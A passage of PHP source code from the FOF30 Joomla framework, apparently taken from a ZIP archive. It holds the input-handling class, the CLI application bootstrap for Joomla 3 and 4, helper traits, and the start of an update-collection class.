'ENV', 'SERVER', 'REQUEST'])) { $hash = 'REQUEST'; } $source = $this->extractJoomlaSource($hash); } elseif (is_object($source) && ($source instanceof Input)) { $source = $source->getData(); } elseif (is_object($source) && ($source instanceof JInput)) { $serialised = $source->serialize(); [$xOptions, $xData, $xInput] = unserialize($serialised); unset ($xOptions); unset ($xInput); unset ($source); $source = $xData; unset ($xData); } elseif (is_object($source)) { try { $source = (array) $source; } catch (Exception $exc) { $source = null; } } elseif (is_array($source)) { // Nothing, it's already an array } else { // Any other case $source = null; } // TODO Joomla 4 -- get the data from the application input // If we are not sure use the REQUEST array if (empty($source)) { $source = $this->extractJoomlaSource('REQUEST'); } parent::__construct($source, $options); } /** * Gets a value from the input data. Overridden to allow specifying a filter * mask. * * @param string $name Name of the value to get. * @param mixed $default Default value to return if variable does not exist. * @param string $filter Filter to apply to the value. * @param int $mask The filter mask * * @return mixed The filtered input value. */ public function get($name, $default = null, $filter = 'cmd', $mask = 0) { if (isset($this->data[$name])) { return $this->_cleanVar($this->data[$name], $mask, $filter); } return $default; } /** * Remove a key from the input data. * * @param string $name The key name to remove from the input data. * * @return void * @since 3.6.3 */ public function remove($name) { if (!isset($this->data[$name])) { return; } unset($this->data[$name]); } /** * Returns a copy of the raw data stored in the class * * @return array */ public function getData() { return $this->data; } public function setData(array $data) { $this->data = $data; } /** * Magic method to get filtered input data. * * @param mixed $name Name of the value to get. * @param string $arguments [0] The name of the variable [1] The default value [2] Mask * * @return boolean The filtered boolean input value. */ public function __call($name, $arguments) { if (substr($name, 0, 3) == 'get') { $filter = substr($name, 3); $default = null; $mask = 0; if (isset($arguments[1])) { $default = $arguments[1]; } if (isset($arguments[2])) { $mask = $arguments[2]; } return $this->get($arguments[0], $default, $filter, $mask); } } /** * Custom filter implementation. Works better with arrays and allows the use * of a filter mask. * * @param mixed $var The variable (value) to clean * @param integer $mask The clean mask * @param string $type The variable type * * @return mixed */ protected function _cleanVar($var, $mask = 0, $type = null) { if (is_array($var)) { $temp = []; foreach ($var as $k => $v) { $temp[$k] = self::_cleanVar($v, $mask); } return $temp; } // If the no trim flag is not set, trim the variable if (!($mask & 1) && is_string($var)) { $var = trim($var); } // Now we handle input filtering if ($mask & 2) { // If the allow raw flag is set, do not modify the variable } elseif ($mask & 4) { // If the allow HTML flag is set, apply a safe HTML filter to the variable if (version_compare(JVERSION, '3.999.999', 'le')) { $safeHtmlFilter = InputFilter::getInstance(null, null, 1, 1); } else { $safeHtmlFilter = InputFilter::getInstance([], [], 1, 1); } $var = $safeHtmlFilter->clean($var, $type); } else { $var = $this->filter->clean($var, $type); } return $var; } protected function extractJoomlaSource($hash = 'REQUEST') { if (!in_array(strtoupper($hash), ['GET', 'POST', 'FILES', 'COOKIE', 'ENV', 'SERVER', 'REQUEST'])) { $hash = 'REQUEST'; } $hash = strtolower($hash); try { $input = Factory::getApplication()->input; } catch (Exception $e) { $input = new \Joomla\Input\Input(); } if ($hash !== 'request') { $input = $input->{$hash}; } $refObject = new ReflectionObject($input); $refProp = $refObject->getProperty('data'); $refProp->setAccessible(true); return $refProp->getValue($input); } } PK���\l��/� � fof30/Cli/wrong_php.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ /** @var string $minphp */ ?> ================================================================================ WARNING! Incompatible PHP version <?php echo PHP_VERSION ?> (required: <?php echo $minphp ?> or later) ================================================================================ This script must be run using PHP version <?php echo $minphp ?> or later. Your server is currently using a much older version which would cause this script to crash. As a result we have aborted execution of the script. Please contact your host and ask them for the correct path to the PHP CLI binary for PHP <?php echo $minphp ?> or later, then edit your CRON job and replace your current path to PHP with the one your host gave you. For your information, the current PHP version information is as follows. PATH: <?php echo PHP_BINDIR ?> VERSION: <?php echo PHP_VERSION ?> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ IMPORTANT! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ PHP version numbers are NOT decimals! Trailing zeros do matter. For example, PHP 5.3.28 is twenty four versions newer (greater than) than PHP 5.3.4. Please consult https://www.akeeba.com/how-do-version-numbers-work.html Further clarifications: 1. There is no possible way that you are receiving this message in error. We are using the PHP_VERSION constant to detect the PHP version you are currently using. This is what PHP itself reports as its own version. It simply cannot lie. 2. Even though your *site* may be running in a higher PHP version that the one reported above, your CRON scripts will most likely not be running under it. This has to do with the fact that your site DOES NOT run under the command line and there are different executable files (binaries) for the web and command line versions of PHP. 3. Please note that we cannot provide support about this error as the solution depends only on your server setup. The only people who know how your server is set up are your host's technicians. Therefore we can only advise you to contact your host and request them the correct path to the PHP CLI binary. Let us stress out that only your host knows and can give this information to you. 4. The latest published versions of PHP can be found at http://www.php.net/ Any older version is considered insecure and must not be used on a production site. If your server uses a much older version of PHP than those published in the URL above please notify your host that their servers are insecure and in need of an update. This script will now terminate. Goodbye. PK���\��99fof30/Cli/Joomla3.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ // Do not put the JEXEC or die check on this file use FOF30\Cli\Traits\CGIModeAware; use FOF30\Cli\Traits\CustomOptionsAware; use FOF30\Cli\Traits\JoomlaConfigAware; use FOF30\Cli\Traits\MemStatsAware; use FOF30\Cli\Traits\MessageAware; use FOF30\Cli\Traits\TimeAgoAware; use FOF30\Utils\CliSessionHandler; use Joomla\CMS\Application\CliApplication; use Joomla\CMS\Input\Cli; // Load the legacy Joomla! include files (Joomla! 3 only) include_once JPATH_LIBRARIES . '/import.legacy.php'; // Load the CMS import file if it exists (newer Joomla! 3 versions and Joomla! 4) $cmsImportFilePath = JPATH_LIBRARIES . '/cms.php'; if (@file_exists($cmsImportFilePath)) { @include_once $cmsImportFilePath; } /** * Base class for a Joomla! command line application. Adapted from JCli / JApplicationCli */ abstract class FOFCliApplicationJoomla3 extends CliApplication { use CGIModeAware, CustomOptionsAware, JoomlaConfigAware, MemStatsAware, TimeAgoAware, MessageAware; private $allowedToClose = false; public static function getInstance($name = null) { // Load the Joomla global configuration in JFactory. This must happen BEFORE loading FOF. JFactory::getConfig(JPATH_CONFIGURATION . '/configuration.php'); // Load FOF if (!defined('FOF30_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof30/include.php')) { throw new RuntimeException('Cannot load FOF', 500); } // Create a CLI-specific session JFactory::$session = JSession::getInstance('none', [ 'expire' => 84400, ], new CliSessionHandler()); $instance = parent::getInstance($name); JFactory::$application = $instance; return $instance; } public function __construct(Cli $input = null, \Joomla\Registry\Registry $config = null, \JEventDispatcher $dispatcher = null) { // Some servers only provide a CGI executable. While not ideal for running CLI applications we can make do. $this->detectAndWorkAroundCGIMode(); // Initialize custom options handling which is a bit more straightforward than Input\Cli. $this->initialiseCustomOptions(); parent::__construct($input, $config, $dispatcher); /** * Allow the application to close. * * This is required to allow CliApplication to execute under CGI mode. The checks performed in the parent * constructor will call close() if the application does not run pure CLI mode. However, some hosts only provide * the PHP CGI binary for executing CLI scripts. While wrong it will work in most cases. By default close() will * do nothing, thereby allowing the parent constructor to call it without a problem. Finally, we set this flag * to true to allow doExecute() to call close() and actually close the application properly. Yeehaw! */ $this->allowedToClose = true; } /** * Method to close the application. * * See the constructor for details on why it works the way it works. * * @param integer $code The exit code (optional; default is 0). * * @return void * * @codeCoverageIgnore * @since 1.0 */ public function close($code = 0) { // See the constructor for details if (!$this->allowedToClose) { return; } exit($code); } /** * Gets the name of the current running application. * * @return string The name of the application. * * @since 4.0.0 */ public function getName() { return get_class($this); } /** * Get the menu object. * * @param string $name The application name for the menu * @param array $options An array of options to initialise the menu with * * @return \Joomla\CMS\Menu\AbstractMenu|null A AbstractMenu object or null if not set. * * @since 4.0.0 */ public function getMenu($name = null, $options = []) { return null; } } PK���\��Dfffof30/Cli/Joomla4.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ // Do not put the JEXEC or die check on this file use FOF30\Cli\Traits\CGIModeAware; use FOF30\Cli\Traits\CustomOptionsAware; use FOF30\Cli\Traits\JoomlaConfigAware; use FOF30\Cli\Traits\MemStatsAware; use FOF30\Cli\Traits\TimeAgoAware; use Joomla\CMS\Application\CliApplication; use Joomla\CMS\Application\ExtensionNamespaceMapper; use Joomla\CMS\Factory; use Joomla\Event\Dispatcher; use Joomla\Registry\Registry; use Joomla\Session\SessionInterface; /** * Load the legacy Joomla! include files * * Despite Joomla complaining about it with an E_DEPRECATED notice, if you use bootstrap.php instead of * import.legacy.php you get an HTML error page (yes, under CLI!) which is kinda daft. */ if (function_exists('error_reporting')) { $oldErrorReporting = @error_reporting(E_ERROR | E_NOTICE | E_DEPRECATED); } include_once JPATH_LIBRARIES . '/import.legacy.php'; if (function_exists('error_reporting')) { @error_reporting($oldErrorReporting); } // Load the Framework (J4 beta 1 and later) or CMS import file (J4 a12 and lower) $cmsImportFilePath = JPATH_BASE . '/includes/framework.php'; $cmsImportFilePathOld = JPATH_LIBRARIES . '/cms.php'; if (@file_exists($cmsImportFilePath)) { @include_once $cmsImportFilePath; // Boot the DI container $container = \Joomla\CMS\Factory::getContainer(); /* * Alias the session service keys to the CLI session service as that is the primary session backend for this application * * In addition to aliasing "common" service keys, we also create aliases for the PHP classes to ensure autowiring objects * is supported. This includes aliases for aliased class names, and the keys for aliased class names should be considered * deprecated to be removed when the class name alias is removed as well. */ $container->alias('session', 'session.cli') ->alias('JSession', 'session.cli') ->alias(\Joomla\CMS\Session\Session::class, 'session.cli') ->alias(\Joomla\Session\Session::class, 'session.cli') ->alias(\Joomla\Session\SessionInterface::class, 'session.cli'); } elseif (@file_exists($cmsImportFilePathOld)) { @include_once $cmsImportFilePathOld; } /** * Base class for a Joomla! command line application. Adapted from JCli / JApplicationCli */ abstract class FOFCliApplicationJoomla4 extends CliApplication { use ExtensionNamespaceMapper; use CGIModeAware, CustomOptionsAware, JoomlaConfigAware, MemStatsAware, TimeAgoAware; private $allowedToClose = false; public static function getInstance($name = null) { $instance = parent::getInstance($name); Factory::$application = $instance; /** * Load FOF. * * In Joomla 4 this must happen after we have set up the application in the factory because Factory::getLanguage * goes through the application object to retrieve the configuration. */ if (!defined('FOF30_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof30/include.php')) { throw new RuntimeException('Cannot load FOF', 500); } return $instance; } public function __construct(\Joomla\Input\Input $input = null, Registry $config = null, \Joomla\CMS\Application\CLI\CliOutput $output = null, \Joomla\CMS\Application\CLI\CliInput $cliInput = null, \Joomla\Event\DispatcherInterface $dispatcher = null, \Joomla\DI\Container $container = null) { // Some servers only provide a CGI executable. While not ideal for running CLI applications we can make do. $this->detectAndWorkAroundCGIMode(); // We need to tell Joomla to register its default namespace conventions $this->createExtensionNamespaceMap(); // Initialize custom options handling which is a bit more straightforward than Input\Cli. $this->initialiseCustomOptions(); // Default configuration: Joomla Global Configuration if (empty($config)) { $config = new Registry($this->fetchConfigurationData()); } if (empty($dispatcher)) { $dispatcher = new Dispatcher(); } parent::__construct($input, $config, $output, $cliInput, $dispatcher, $container); /** * Allow the application to close. * * This is required to allow CliApplication to execute under CGI mode. The checks performed in the parent * constructor will call close() if the application does not run pure CLI mode. However, some hosts only provide * the PHP CGI binary for executing CLI scripts. While wrong it will work in most cases. By default close() will * do nothing, thereby allowing the parent constructor to call it without a problem. Finally, we set this flag * to true to allow doExecute() to call close() and actually close the application properly. Yeehaw! */ $this->allowedToClose = true; } /** * Method to close the application. * * See the constructor for details on why it works the way it works. * * @param integer $code The exit code (optional; default is 0). * * @return void * * @codeCoverageIgnore * @since 1.0 */ public function close($code = 0) { // See the constructor for details if (!$this->allowedToClose) { return; } exit($code); } /** * Gets the name of the current running application. * * @return string The name of the application. * * @since 4.0.0 */ public function getName() { return get_class($this); } /** * Get the menu object. * * @param string $name The application name for the menu * @param array $options An array of options to initialise the menu with * * @return \Joomla\CMS\Menu\AbstractMenu|null A AbstractMenu object or null if not set. * * @since 4.0.0 */ public function getMenu($name = null, $options = []) { return null; } /** * Method to get the application session object. * * @return SessionInterface The session object * * @since 4.0.0 */ public function getSession() { return $this->getContainer()->get('session.cli'); } } PK���\���J�$�$fof30/Cli/Application.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ // Do not put the JEXEC or die check on this file /** * FOF-powered Joomla! CLI application implementation. * * Get all the power of Joomla in CLI without all the awkward decisions which make CLI scripts fail on many common, * commercial hosting environments. We've been doing that in our software before Joomla got CLI support. We know of all * the pitfalls and this little gem here will work around most of them (or at least fail gracefully). * * Your CLI script must begin with the following boilerplate code: * * // Boilerplate -- START * define('_JEXEC', 1); * * foreach ([__DIR__, getcwd()] as $curdir) * { * if (file_exists($curdir . '/defines.php')) * { * define('JPATH_BASE', realpath($curdir . '/..')); * require_once $curdir . '/defines.php'; * * break; * } * * if (file_exists($curdir . '/../includes/defines.php')) * { * define('JPATH_BASE', realpath($curdir . '/..')); * require_once $curdir . '/../includes/defines.php'; * * break; * } * } * * defined('JPATH_LIBRARIES') || die ('This script must be placed in or run from the cli folder of your site.'); * * require_once JPATH_LIBRARIES . '/fof30/Cli/Application.php'; * // Boilerplate -- END * * Create a class which extends FOFCliApplication and implements doExecute, e.g. * * // Class definition -- START * class YourClassName extends FOFCliApplication * { * protected function doExecute() * { * // Do something useful * } * } * // Class definition -- END * * Finally, execute your script with: * * // Execute script -- START * FOFCliApplication::getInstance('YourClassName')->execute(); * // Execute script -- END * * You can optionally define $minphp before the boilerplate code to enforce a different minimum PHP version. */ // Abort immediately when this file is executed from a web SAPI if (array_key_exists('REQUEST_METHOD', $_SERVER)) { die('This is a command line script. You are not allowed to access it over the web.'); } // Work around some misconfigured servers which print out notices if (function_exists('error_reporting')) { $oldLevel = error_reporting(E_ERROR | E_NOTICE | E_DEPRECATED); } // Minimum PHP version check if (!isset($minphp)) { $minphp = '5.6.0'; } if (version_compare(PHP_VERSION, $minphp, 'lt')) { require_once __DIR__ . '/wrong_php.php'; die; } // Required by scripts written for old Joomla! versions. defined('DS') || define('DS', DIRECTORY_SEPARATOR); /** * Timezone fix * * This piece of code was originally put here because some PHP 5.3 servers forgot to declare a default timezone. * Unfortunately it's still required because some hosts STILL forget to provide a timezone in their php.ini files or, * worse, use invalid timezone names. */ if (function_exists('date_default_timezone_get') && function_exists('date_default_timezone_set')) { $serverTimezone = @date_default_timezone_get(); // Do I have no timezone set? if (empty($serverTimezone) || !is_string($serverTimezone)) { $serverTimezone = 'UTC'; } // Do I have an invalid timezone? try { $testTimeZone = new DateTimeZone($serverTimezone); } catch (\Exception $e) { $serverTimezone = 'UTC'; } // Set the default timezone to a correct thing @date_default_timezone_set($serverTimezone); } // This is not necessary if you have used the boilerplate code. if (!isset($curdir) && !defined('JPATH_ROOT')) { foreach ([__DIR__ . '/../../../cli', getcwd()] as $curdir) { if (file_exists($curdir . '/defines.php')) { define('JPATH_BASE', realpath($curdir . '/..')); require_once $curdir . '/defines.php'; break; } if (file_exists($curdir . '/../includes/defines.php')) { define('JPATH_BASE', realpath($curdir . '/..')); require_once $curdir . '/../includes/defines.php'; break; } } defined('JPATH_LIBRARIES') || die ('This script must be placed in or run from the cli folder of your site.'); } // Restore the error reporting before importing Joomla core code if (function_exists('error_reporting')) { error_reporting($oldLevel); } // Awkward Joomla version detection before we can actually load Joomla! itself $joomlaMajorVersion = 3; $joomlaMinorVersion = 0; $jVersionFile = JPATH_LIBRARIES . '/src/Version.php'; if ($versionFileContents = @file_get_contents($jVersionFile)) { preg_match("/MAJOR_VERSION\s*=\s*(\d*)\s*;/", $versionFileContents, $versionMatches); $joomlaMajorVersion = (int) $versionMatches[1]; preg_match("/MINOR_VERSION\s*=\s*(\d*)\s*;/", $versionFileContents, $versionMatches); $joomlaMinorVersion = (int) $versionMatches[1]; } // Load the Trait files include_once __DIR__ . '/Traits/CGIModeAware.php'; include_once __DIR__ . '/Traits/CustomOptionsAware.php'; include_once __DIR__ . '/Traits/JoomlaConfigAware.php'; include_once __DIR__ . '/Traits/MemStatsAware.php'; include_once __DIR__ . '/Traits/MessageAware.php'; include_once __DIR__ . '/Traits/TimeAgoAware.php'; // The actual implementation of the CliApplication depends on the Joomla version we're running under switch ($joomlaMajorVersion) { case 3: default: require_once __DIR__ . '/Joomla3.php'; abstract class FOFApplicationCLI extends FOFCliApplicationJoomla3 { } ; break; case 4: require_once __DIR__ . '/Joomla4.php'; abstract class FOFApplicationCLI extends FOFCliApplicationJoomla4 { } ; break; } /** * A default exception handler. Catches all unhandled exceptions, displays debug information about them and sets the * error level to 254. * * @param Throwable $ex The Exception / Error being handled */ function FOFCliExceptionHandler($ex) { echo "\n\n"; echo "********** ERROR! **********\n\n"; echo $ex->getMessage(); echo "\n\nTechnical information:\n\n"; echo "Code: " . $ex->getCode() . "\n"; echo "File: " . $ex->getFile() . "\n"; echo "Line: " . $ex->getLine() . "\n"; echo "\nStack Trace:\n\n" . $ex->getTraceAsString(); echo "\n\n"; exit(254); } /** * Timeout handler * * This function is registered as a shutdown script. If a catchable timeout occurs it will detect it and print a helpful * error message instead of just dying cold. The error level is set to 253 in this case. * * @return void */ function FOFCliTimeoutHandler() { $connection_status = connection_status(); if ($connection_status == 0) { // Normal script termination, do not report an error. return; } echo "\n\n"; echo "********** ERROR! **********\n\n"; if ($connection_status == 1) { echo <<< END The process was aborted on user's request. This usually means that you pressed CTRL-C to terminate the script (if you're running it from a terminal / SSH session), or that your host's CRON daemon aborted the execution of this script. If you are running this script through a CRON job and saw this message, please contact your host and request an increase in the timeout limit for CRON jobs. Moreover you need to ask them to increase the max_execution_time in the php.ini file or, even better, set it to 0. END; } else { echo <<< END This script has timed out. As a result, the process has FAILED to complete. Your host applies a maximum execution time for CRON jobs which is too low for this script to work properly. Please contact your host and request an increase in the timeout limit for CRON jobs. Moreover you need to ask them to increase the max_execution_time in the php.ini file or, even better, set it to 0. END; if (!function_exists('php_ini_loaded_file')) { echo "\n\n"; return; } $ini_location = php_ini_loaded_file(); echo <<<END The php.ini file your host will need to modify is located at: $ini_location Info for the host: the location above is reported by PHP's php_ini_loaded_file() method. END; echo "\n\n"; exit(253); } } /** * Error handler. It tries to catch fatal errors and report them in a meaningful way. Obviously it only works for * catchable fatal errors. It sets the error level to 252. * * IMPORTANT! Under PHP 7 the default exception handler will be called instead, including when there is a non-catchable * fatal error. * * @param int $errno Error number * @param string $errstr Error string, tells us what went wrong * @param string $errfile Full path to file where the error occurred * @param int $errline Line number where the error occurred * * @return void */ function FOFCliErrorHandler($errno, $errstr, $errfile, $errline) { switch ($errno) { case E_ERROR: case E_USER_ERROR: echo "\n\n"; echo "********** ERROR! **********\n\n"; echo "PHP Fatal Error: $errstr"; echo "\n\nTechnical information:\n\n"; echo "File: " . $errfile . "\n"; echo "Line: " . $errline . "\n"; echo "\nStack Trace:\n\n" . debug_backtrace(); echo "\n\n"; exit(252); break; default: break; } } /** * Custom default handlers for otherwise unhandled exceptions and PHP catchable errors. * * Moreover, we register a shutdown function to catch timeouts and SIGTERM signals, because some hosts *are* monsters. */ set_exception_handler('FOFCliExceptionHandler'); set_error_handler('FOFCliErrorHandler', E_ERROR | E_USER_ERROR); register_shutdown_function('FOFCliTimeoutHandler');PK���\�� &fof30/Cli/Traits/JoomlaConfigAware.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Cli\Traits; defined('_JEXEC') || die; /** * Allows the CLI application to use the Joomla Global Configuration parameters as its own configuration. * * @package FOF30\Cli\Traits */ trait JoomlaConfigAware { /** * Method to load the application configuration, returning it as an object or array * * This can be overridden in subclasses if you don't want to fetch config from a PHP class file. * * @param string|null $file The filepath to the file containing the configuration class. Default: Joomla's * configuration.php * @param string $className The name of the PHP class holding the configuration. Default: JConfig * * @return mixed Either an array or object to be loaded into the configuration object. */ protected function fetchConfigurationData($file = null, $className = 'JConfig') { // Set the configuration file name. if (empty($file)) { $file = JPATH_BASE . '/configuration.php'; } // Import the configuration file. if (!is_file($file)) { return []; } include_once $file; // Instantiate the configuration object. if (!class_exists('JConfig')) { return []; } return new $className(); } } PK���\��K 'fof30/Cli/Traits/CustomOptionsAware.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Cli\Traits; defined('_JEXEC') || die; use Joomla\CMS\Filter\InputFilter; /** * Implements a simpler, more straightforward options parser than the Joomla CLI input object. It supports short options * when the Joomla CLI input object doesn't. Eventually this will go away and we can use something like Symfony Console * instead. * * @package FOF30\Cli\Traits */ trait CustomOptionsAware { /** * POSIX-style CLI options. Access them with through the getOption method. * * @var array */ protected static $cliOptions = []; /** * Filter object to use for custom options parsing. * * @var InputFilter */ protected $filter = null; /** * Initializes the custom CLI options parsing * * @return void */ protected function initialiseCustomOptions() { // Create a new InputFilter $this->filter = InputFilter::getInstance(); // Parse the POSIX options $this->parseOptions(); } /** * Parses POSIX command line options and sets the self::$cliOptions associative array. Each array item contains * a single dimensional array of values. Arguments without a dash are silently ignored. * * This works much better than JInputCli since it allows you to use all valid POSIX ways of defining CLI parameters. * * @return void */ protected function parseOptions() { global $argc, $argv; // Workaround for PHP-CGI if (!isset($argc) && !isset($argv)) { $query = ""; if (!empty($_GET)) { foreach ($_GET as $k => $v) { $query .= " $k"; if ($v != "") { $query .= "=$v"; } } } $query = ltrim($query); $argv = explode(' ', $query); $argc = count($argv); } $currentName = ""; $options = []; for ($i = 1; $i < $argc; $i++) { $argument = $argv[$i]; $value = $argument; if (strpos($argument, "-") === 0) { $argument = ltrim($argument, '-'); $name = $argument; $value = null; if (strstr($argument, '=')) { [$name, $value] = explode('=', $argument, 2); } $currentName = $name; if (!isset($options[$currentName]) || ($options[$currentName] == null)) { $options[$currentName] = []; } } if ((!is_null($value)) && (!is_null($currentName))) { $key = null; if (strstr($value, '=')) { $parts = explode('=', $value, 2); $key = $parts[0]; $value = $parts[1]; } $values = $options[$currentName]; if (is_null($values)) { $values = []; } if (is_null($key)) { array_push($values, $value); } else { $values[$key] = $value; } $options[$currentName] = $values; } } self::$cliOptions = $options; } /** * Returns the value of a command line option. This does NOT use JInputCLI. You MUST run parseOptions before. * * @param string $key The full name of the option, e.g. "foobar" * @param mixed $default The default value to return * @param string $type Joomla! filter type, e.g. cmd, int, bool and so on. * * @return mixed The value of the option */ protected function getOption($key, $default = null, $type = 'raw') { // If the key doesn't exist set it to the default value if (!array_key_exists($key, self::$cliOptions)) { self::$cliOptions[$key] = is_array($default) ? $default : [$default]; } $type = strtolower($type); if ($type == 'array') { return self::$cliOptions[$key]; } $value = null; if (!empty(self::$cliOptions[$key])) { $value = self::$cliOptions[$key][0]; } return $this->filterVariable($value, $type); } /** * Filter a variable using JInputFilter * * @param mixed $var The variable to filter * @param string $type The filter type, default 'cmd' * * @return mixed The filtered value */ protected function filterVariable($var, $type = 'cmd') { return $this->filter->clean($var, $type); } } PK���\~�C���"fof30/Cli/Traits/MemStatsAware.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Cli\Traits; defined('_JEXEC') || die; /** * Memory statistics * * This is an optional trait which allows the developer to print memory usage statistics and format byte sizes into * human-readable strings. * * @package FOF30\Cli\Traits */ trait MemStatsAware { /** * Formats a number of bytes in human readable format * * @param int $size The size in bytes to format, e.g. 8254862 * * @return string The human-readable representation of the byte size, e.g. "7.87 Mb" */ protected function formatByteSize($size) { $unit = ['b', 'KB', 'MB', 'GB', 'TB', 'PB']; return @round($size / 1024 ** ($i = floor(log($size, 1024))), 2) . ' ' . $unit[$i]; } /** * Returns the current memory usage, formatted * * @return string */ protected function memUsage() { if (function_exists('memory_get_usage')) { $size = memory_get_usage(); return $this->formatByteSize($size); } else { return "(unknown)"; } } /** * Returns the peak memory usage, formatted * * @return string */ protected function peakMemUsage() { if (function_exists('memory_get_peak_usage')) { $size = memory_get_peak_usage(); return $this->formatByteSize($size); } else { return "(unknown)"; } } } PK���\��Ua��!fof30/Cli/Traits/CGIModeAware.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Cli\Traits; defined('_JEXEC') || die; /** * CGI Mode detection and workaround * * Some hosts only give access to the PHP CGI binary, even for running CLI scripts. While problematic, it mostly works. * This trait detects PHP-CGI and manipulates $_GET in such a way that we populate the $argv and $argc global variables * in the same way that PHP-CLI would set them. This allows the CLI input object to work. Moreover, we unset the PHP * execution time limit, if possible, to prevent accidental timeouts. * * @package FOF30\Cli\Traits */ trait CGIModeAware { /** * Detect if we are running under CGI mode. In this case it populates the global $argv and $argc parameters off the * CGI input ($_GET superglobal). */ private function detectAndWorkAroundCGIMode() { // This code only executes when running under CGI. So let's detect it first. $cgiMode = (!defined('STDOUT') || !defined('STDIN') || !isset($_SERVER['argv'])); if (!$cgiMode) { return; } // CGI mode has a time limit. Unset it to prevent timeouts. if (function_exists('set_time_limit')) { set_time_limit(0); } // Convert $_GET into the appropriate $argv representation. This allows Input\Cli to work under PHP-CGI. $query = ""; if (!empty($_GET)) { foreach ($_GET as $k => $v) { $query .= " $k"; if ($v != "") { $query .= "=$v"; } } } $query = ltrim($query); global $argv, $argc; $argv = explode(' ', $query); $argc = count($argv); $_SERVER['argv'] = $argv; } } PK���\���Y !fof30/Cli/Traits/TimeAgoAware.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Cli\Traits; defined('_JEXEC') || die; /** * Allows the developer to show the relative time difference between two timestamps. * * @package FOF30\Cli\Traits */ trait TimeAgoAware { /** * Returns the relative time difference between two timestamps in a human readable format * * @param int $referenceTimestamp Timestamp of the reference date/time * @param int|null $currentTimestamp Timestamp of the current date/time. Null for time(). * @param string $timeUnit Time unit. One of s, m, h, d, or y. * @param bool $autoSuffix Add "ago" / "from now" suffix? * * @return string For example, "10 seconds ago" */ protected function timeAgo($referenceTimestamp = 0, $currentTimestamp = null, $timeUnit = '', $autoSuffix = true) { if (is_null($currentTimestamp)) { $currentTimestamp = time(); } // Raw time difference $raw = $currentTimestamp - $referenceTimestamp; $clean = abs($raw); $calcNum = [ ['s', 60], ['m', 60 * 60], ['h', 60 * 60 * 60], ['d', 60 * 60 * 60 * 24], ['y', 60 * 60 * 60 * 24 * 365], ]; $calc = [ 's' => [1, 'second'], 'm' => [60, 'minute'], 'h' => [60 * 60, 'hour'], 'd' => [60 * 60 * 24, 'day'], 'y' => [60 * 60 * 24 * 365, 'year'], ]; $effectiveTimeUnit = $timeUnit; if ($timeUnit == '') { $effectiveTimeUnit = 's'; for ($i = 0; $i < count($calcNum); $i++) { if ($clean <= $calcNum[$i][1]) { $effectiveTimeUnit = $calcNum[$i][0]; $i = count($calcNum); } } } $timeDifference = floor($clean / $calc[$effectiveTimeUnit][0]); $textSuffix = ''; if ($autoSuffix == true && ($currentTimestamp == time())) { if ($raw < 0) { $textSuffix = ' from now'; } else { $textSuffix = ' ago'; } } if ($referenceTimestamp != 0) { if ($timeDifference == 1) { return $timeDifference . ' ' . $calc[$effectiveTimeUnit][1] . ' ' . $textSuffix; } return $timeDifference . ' ' . $calc[$effectiveTimeUnit][1] . 's ' . $textSuffix; } return '(no reference timestamp was provided).'; } } PK���\xK���!fof30/Cli/Traits/MessageAware.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Cli\Traits; defined('_JEXEC') || die; /** * Sometimes other extensions will try to enqueue messages to the application. Methods for those tasks only exists in * web applications, so we have to replicate their behavior in CLI environment or fatal errors will occur * * @package FOF30\Cli\Traits */ trait MessageAware { /** @var array Queue holding all messages */ protected $messageQueue = []; /** * @param $msg * @param $type * * @return null */ public function enqueueMessage($msg, $type) { // Don't add empty messages. if (trim($msg) === '') { return; } $message = ['message' => $msg, 'type' => strtolower($type)]; if (!in_array($message, $this->messageQueue)) { // Enqueue the message. $this->messageQueue[] = $message; } } /** * Loosely based on Joomla getMessageQueue * * @param bool $clear * * @return array */ public function getMessageQueue($clear = false) { $messageQueue = $this->messageQueue; if ($clear) { $this->messageQueue = []; } return $messageQueue; } } PK���\�;���'�'fof30/Update/Collection.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Update; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use FOF30\Download\Download; use SimpleXMLElement; class Collection { /** * Reads a "collection" XML update source and returns the complete tree of categories * and extensions applicable for platform version $jVersion * * @param string $url The collection XML update source URL to read from * @param string $jVersion Joomla! version to fetch updates for, or null to use JVERSION * * @return array A list of update sources applicable to $jVersion */ public function getAllUpdates($url, $jVersion = null) { // Get the target platform if (is_null($jVersion)) { $jVersion = JVERSION; } // Initialise return value $updates = [ 'metadata' => [ 'name' => '', 'description' => '', ], 'categories' => [], 'extensions' 